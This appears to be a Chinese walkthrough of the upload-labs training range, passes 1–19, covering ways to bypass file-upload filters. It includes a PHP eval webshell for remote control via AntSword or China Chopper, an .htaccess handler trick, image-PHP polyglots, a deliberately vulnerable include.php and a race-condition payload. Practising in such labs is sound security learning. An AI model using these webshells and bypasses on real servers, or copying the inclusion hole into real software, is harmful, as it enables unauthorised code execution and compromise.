当前位置: 首页 > news >正文

upload-labs靶场(1-19关)

upload-labs靶场

简介

upload-labs是一个使用php语言编写的,专门收集渗透测试过程中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共19关,每一关都包含着不同上传方式。

注意:能运行<?php phpinfo();?>

就能运行<?php eval($_POST['cmd'])?>一句话木马

为了方便只有第一关用了一句话木马。

Pass-01

思路:第一关限制了长传文件的类型,所以在抓包的时候将图片扩展名改成php扩展名即可

image-20240727084800801

步骤一:写一个1.jpg在里面写php代码

image-20240726114010472

步骤二:BP抓包

image-20240726114234296

步骤三:修改filename改成php扩展名

image-20240726114334395

步骤四:查看网站下上传的文件,文件里写的echo "1"所以显示1

image-20240726114434513

我们如果写一句话木马即可控制他的电脑

<?php @eval($_POST['cmd']);?>

使用工具–蚂蚁,中国菜刀

点击添加

image-20240726115247637

双击

image-20240726115339851

连接成功

image-20240726115329078

Ps:其他关就不用一句话木马了。

Pass-02

思路:查看提示看到是在服务端对数据的MIME进行检查,MIME验证就是验证文件的类型。代码种文件类型只能让jpeg,png,gif传入,所以我们的思路就是用burp抓包然后修改文件的类型。

image-20240727085006288

步骤一:抓包修改内容类型位图片类型

image-20240726135339921

步骤三:访问web下上传的文件

image-20240726135225933

Pass-03

思路:第三关禁用.php,这时候我们就要想办法绕过,说黑名单规则不严谨.

也可以写.php3.php5绕过,但某些环境不支持打开php3文件。

image-20240727085207751

image-20240726135933051

注:有一些使用phpstudy搭建的upload-labs可能无法加载出这个页面,这是因为phpstudy的配置文件需要修改,打开phpstudy的httpd-conf配置文件,修改 #AddType application/x-httpd-php .php .phtml 为 AddType application/x-httpd-php .php .phtml .php5 .php3,注意前面的#要删除,这时即可正常访问图片地址。

Pass-04

思路:这题将.php,.php3…这些都禁用了,双写也绕不过去。我们可以上传.htaccess文件,将jpg文件当作php文件执行。

ps:某些环境不支持,在这里我们找的在线靶场.

image-20240727085400292

phpinfo.jpg

<?php phpinfo(); ?>

1.htaccess

<FilesMatch 'phpinfo.jpg'>
SetHandler application/x-httpd-php
</FilesMatch>

在这里插入图片描述

Pass-05

思路:这关没有转换大小写的代码。

image-20240726154340796

上传一个5.Php文件,直接上传成功

image-20240727090944088

Pass-06

思路:缺少首尾去空限制,但windows文件名最后不能加空格,可以BP抓包修改

image-20240726154946584

image-20240727092814305

image-20240727092829879

Pass-07

思路:本体没有删除文件末尾的点限制,所以在文件后加个点绕过

image-20240727092921234

BP抓包

image-20240727093124760

image-20240727093103444

Pass-08

思路:缺少去除字符串::$DATA

image-20240727093205511

BP抓包

image-20240727093418007

去除URL中的::$DATA

image-20240727093500378

image-20240727093531647

Pass-09

思路:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来。

所以我们应该修改文件名为:9.php. .,两个点中间有个空格

image-20240727093812130

BP抓包

image-20240727094021331

image-20240727094034556

Pass-10

思路:本题通过截取文件扩展名,如果截取的扩展名与数组中一样则被拦截。可以通过双写php绕过,写成10.pphphp

image-20240727094243770

image-20240727094541598

Pass-11

思路:本题只允许上传.jpg,.png,.gif,本题考查GET方式%00截断

在处理数据时,当处理到00,就当作处理完成

PHP版本小于5.3

因为实在找不到PHP版本符合的环境,在ctfhub%00截断题目中开了个环境

image-20240727094649216

image-20240727103656440

image-20240727103821123

image-20240727103837677

image-20240727104215475

Pass-12

$_POST['save_path']以POST形式传参时,直接使用%00无法截断,因为POST的数据不会被直接解码,空格会替换成+号,需要手动使用burp中的URL-decode解码。

PHP版本小于5.3

image-20240727104959921

image-20240727105153189

Pass-13

制作一个图片马。

在Windows系统中制作图片马的方法:

(1)随机获得一张图片,这里以如下图片(图片名为cat1.jpg)为例:

猫1

(2)新建一个文本(文本名为cat2.txt),内容为:

<?php phpinfo();?>

注意:cat1.jpg和cat2.txt要在同一个文件目录下。

3)win+r,输入cmd,进入终端,输入如下代码:

cd C:\Users\1\Desktop
copy cat1.jpg/b+cat2.txt/a cat3.jpg

image-20240727110915318

然后需要一个文件包含漏洞

image-20240727111522182

将include.php放到upload文件夹

 <?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){include $file;
}else{show_source(__file__);
}
?> 

上传做好的图片码,然后在本页面以GET方式提交file=上传至服务端的图片马路径

image-20240727112615781

Pass-14

与Pass-13一样

Pass-15

本pass使用exif_imagetype()检查是否为图片文件!

此Pass需要打开php的exif扩展,否则无法正常交互,关于详细内容,请阅读:PHP exif扩展方法开启详解。

image-20240727113235247

其余步骤与Pass-13相同

image-20240727113313217

Pass-16

本pass重新渲染了图片!

需要有一个二次渲染的图片
如下就是一张:
22

图片上传

image-20240727114431566

Pass-17(条件竞争)

提示:需要代码审计!

image-20240727115021145

步骤一:新建一句话木马17.php,代码为:

<?php fputs(fopen('../upload/phpinfo17.php','w'),'<?php phpinfo();?>');?>

只要被成功当作PHP文件解析,就会生成phpinfo17.php 文件

抓包

image-20240727115914769

发送到攻击模块

bp设置无限发送空的Payloads,来让它一直上传该文件

image-20240727120042623

image-20240727121032237

Pass-18

这道题有些问题导致上传的文件传入不进去

在…/upload-labs-env\WWW\Pass-18\myupload.php中修改代码

image-20240727122744637

image-20240727122947328

然后上传一个图片码跟Pass-13一样

image-20240727123647068

Pass-19

空格绕过、点绕过,大小写绕过等等均可。

image-20240727124018471

image-20240727124211821

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • TongHttpServer 简介
  • 美团后端二面
  • Docker容器下面home assistant忘记账号密码怎么重置?
  • LINUX -exec函数族
  • npm提示 certificate has expired 证书已过期 已解决
  • Wi-Fi、WLAN、Bluetooth、zigbee、蜂窝网络、4g5g、MQTT
  • 355_C++_自动维护时间点计算,以天、小时(00:00-02:00、02:00-04:00 ......)来计算
  • [数据结构] AVL树 模拟实现AVL树
  • Kafka的入门及简单使用
  • Cocos Creator2D游戏开发(4)-飞机大战(2)-编辑器界面
  • 【扒模块】DFF
  • 成为git砖家(4): git status 命令简介
  • 遗传算法与深度学习实战——进化深度学习
  • 【.NET 8 实战--孢子记账--从单体到微服务】--编写服务端框架
  • mysql超大分页问题处理~
  • 分享的文章《人生如棋》
  • 【402天】跃迁之路——程序员高效学习方法论探索系列(实验阶段159-2018.03.14)...
  • 03Go 类型总结
  • Android Studio:GIT提交项目到远程仓库
  • - C#编程大幅提高OUTLOOK的邮件搜索能力!
  • Iterator 和 for...of 循环
  • Java IO学习笔记一
  • js面向对象
  • MyEclipse 8.0 GA 搭建 Struts2 + Spring2 + Hibernate3 (测试)
  • Promise初体验
  • puppeteer stop redirect 的正确姿势及 net::ERR_FAILED 的解决
  • Vue2.x学习三:事件处理生命周期钩子
  • vue-cli在webpack的配置文件探究
  • Webpack 4x 之路 ( 四 )
  • WePY 在小程序性能调优上做出的探究
  • Xmanager 远程桌面 CentOS 7
  • 聚簇索引和非聚簇索引
  • 力扣(LeetCode)22
  • 最近的计划
  • elasticsearch-head插件安装
  • 机器人开始自主学习,是人类福祉,还是定时炸弹? ...
  • ‌分布式计算技术与复杂算法优化:‌现代数据处理的基石
  • #### go map 底层结构 ####
  • #1015 : KMP算法
  • #大学#套接字
  • (12)Hive调优——count distinct去重优化
  • (55)MOS管专题--->(10)MOS管的封装
  • (Arcgis)Python编程批量将HDF5文件转换为TIFF格式并应用地理转换和投影信息
  • (C语言)输入自定义个数的整数,打印出最大值和最小值
  • (LeetCode C++)盛最多水的容器
  • (zhuan) 一些RL的文献(及笔记)
  • (每日持续更新)信息系统项目管理(第四版)(高级项目管理)考试重点整理 第13章 项目资源管理(七)
  • (贪心 + 双指针) LeetCode 455. 分发饼干
  • (贪心) LeetCode 45. 跳跃游戏 II
  • (一) 初入MySQL 【认识和部署】
  • (一)WLAN定义和基本架构转
  • (一)模式识别——基于SVM的道路分割实验(附资源)
  • (已解决)报错:Could not load the Qt platform plugin “xcb“
  • (轉)JSON.stringify 语法实例讲解
  • (状压dp)uva 10817 Headmaster's Headache